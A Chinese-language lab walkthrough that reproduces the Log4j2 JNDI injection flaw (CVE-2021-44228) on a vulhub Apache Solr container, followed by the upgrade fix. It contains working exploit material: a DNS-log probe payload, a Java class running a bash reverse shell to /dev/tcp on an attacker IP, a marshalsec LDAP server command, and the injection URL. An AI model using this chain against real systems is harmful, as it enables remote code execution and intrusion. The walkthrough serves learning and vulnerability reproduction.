Apache Log4j2远程命令执行漏洞
AApache Log4j2 是一个基于Java的日志记录工具，被广泛应用于业务系统开发，开发者可以利用该工具将程序的输入输出信息进行日志记录。Log4j2 远程代码执行漏洞编号 CVE-2021-44228。
漏洞原理
漏洞主要由于Log4j2在处理程序日志记录时存在 JNDI 入缺陷。JNDI是Java名称与目录接口，是一种查找其他组件、资源或服务的通用机制。利用这个缺陷，通过发送包含JNDI查找的恶意数据，触发Log4j2组件解析缺陷，实现远程代码执行。
Log4j2框架下的 lookup 查询服务提供了 {} 字段解析功能，传进去的值会被直接解析。在lookup的{}里面构造Payload，调用JNDI服务（LDAP、RMI等）获取恶意的class对象，造成了远程代码执行。
复现
影响版本：Apache Log4j 2.x <= 2.14.1 <= Log4j 2.15.0-rc1
环境搭建：使用 vulhub 搭建
cd /vulhub/log4j/CVE-2021-44228
docker compose up -d
访问 8983 可查看到 Apache Solr 的后台页面：
向 action 参数值发送利用 JNDI 发送DNS请求的Payload：
${jndi:dns://${sys:java.version}.jukclj.dnslog.cn}
dnslog 平台成功收到解析记录，Payload中的 ${sys:java:version} 被替换为了对应的java版本。
在JNDI接口lookup查询进行注入Payload ${jndi:dns/ldap/rmi:evil-url/poc} JNDI就会去对应的服务如LDAP、RMI、DNS查找资源，上面这个Paylaod就为DNS查询。
反弹shell
首先需要的在本地编译一个class文件，目的是让靶机远程加载这个类，执行其中反弹shell的代码。
//javac Shell.java
import java.lang.Runtime;
import java.lang.Process;
public class Shell {
static {
try {
Runtime rt = Runtime.getRuntime();
Process pc = rt.exec("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/192.168.88.128/1234 0>&1");
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
class文件编译好以后，在class文件所在目录启用一个 python http 服务，让靶机可以访问到这个文件。
python3 -m http.server 2333 # 监听在2333端口
接着使用 marshalsec 这个项目来启动一个LADP服务，监听 1099 端口，并指定加载远程类文件：
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.88.128:2333/#Shell" 1099
利用JNDI注入调用LADP服务来远程加载这个Shell类，执行反弹shell的代码：
http://192.168.88.150:8983/solr/admin/cores?action=${jndi:ldap://192.168.88.128:1099/Shell}
靶机回连到本地LADP服务，Python起的服务端收到请求返回Shell类，执行其中的反弹shell代码，kali监听1234收到反弹shell。
Log4j的利用方式和Fastjson很相似，通过JNDI注入，调用LDAP或RMI协议，远程加载恶意类造成反序列化命令执行。
漏洞修复
升级受影响的应用及组件，更新Log4j到新版本 log4j-2.15.0-rc2 及以上。
参考文章：
https://github.com/vulhub/vulhub/blob/master/log4j/CVE-2021-44228/README.zh-cn.md
https://github.com/luckyfuture0177/VULOnceMore/blob/main/Java框架/CVE-2021-44228-Log4jJNDI注入命令执行.md
https://www.freebuf.com/vuls/382838.html
若有错误，欢迎指正！o(￣▽￣)ブ